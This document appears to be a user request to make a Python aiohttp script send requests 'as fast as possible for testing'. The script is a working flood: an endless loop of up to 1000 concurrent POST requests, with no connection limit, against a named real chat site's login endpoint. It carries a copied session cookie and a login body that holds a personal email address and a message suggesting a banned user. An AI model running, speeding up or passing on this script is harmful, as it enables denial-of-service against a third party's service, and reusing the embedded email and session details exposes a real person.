make this script send requests as fast as possible for testing

import aiohttp
import asyncio
from aiohttp import TCPConnector

# Define headers and body as per your original script
headers = {
    "authority": "furrychat.net",
    "method": "POST",
    "path": "/chat/system/encoded/login.php",
    "scheme": "https",
    "accept": "*/*",
    "accept-encoding": "gzip, deflate, br, zstd",
    "accept-language": "en-US,en;q=0.9",
    "origin": "https://furrychat.net",
    "priority": "u=1, i",
    "referer": "https://furrychat.net/chat/",
    "sec-ch-ua": '"Chromium";v="128", "Not;A=Brand";v="24", "Opera";v="114"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-requested-with": "XMLHttpRequest",
}

body = {
    "username": "LetMehhBackIn",
    "password": "emailme atCjrob311@gmail.com",
}

url = "https://furrychat.net/chat/system/encoded/login.php"

# Number of concurrent requests
CONCURRENT_REQUESTS = 1000  # Adjust based on your system and target server

# Define a semaphore to limit the number of concurrent tasks if necessary
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)

async def send_request(session, semaphore):
    async with semaphore:
        try:
            async with session.post(url, data=body) as response:
                # Optionally process the response
                # For maximum speed, you might want to skip processing
                # Uncomment the next line if you need to log responses occasionally
                # print(f"Response status: {response.status}")
                pass
        except aiohttp.ClientError as e:
            # Optionally handle exceptions
            # For maximum speed, you might skip logging
            # Uncomment the next line if you need to log errors
            # print(f"Request failed: {e}")
            pass

async def main():
    # Use TCPConnector with a high limit for maximum concurrency
    connector = TCPConnector(limit=0)  # No limit on connections
    async with aiohttp.ClientSession(
        headers=headers,
        cookies={"PHPSESSID": "ejgfqt1nd9tftnjtovqc037mvt"},
        connector=connector
    ) as session:
        tasks = []
        while True:  # Infinite loop to continuously send requests
            task = asyncio.create_task(send_request(session, semaphore))
            tasks.append(task)
            
            # Optional: Clean up completed tasks to free memory
            # This prevents the task list from growing indefinitely
            tasks = [t for t in tasks if not t.done()]
            
            # To avoid overwhelming your system's memory, you can add a limit
            # For example, keep only the latest 10,000 tasks
            if len(tasks) > 10000:
                await asyncio.gather(*tasks[:5000])  # Adjust as needed
                tasks = tasks[5000:]
            
            # Optionally add a tiny delay to yield control
            # This can sometimes improve performance
            await asyncio.sleep(0)

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Stopped by user")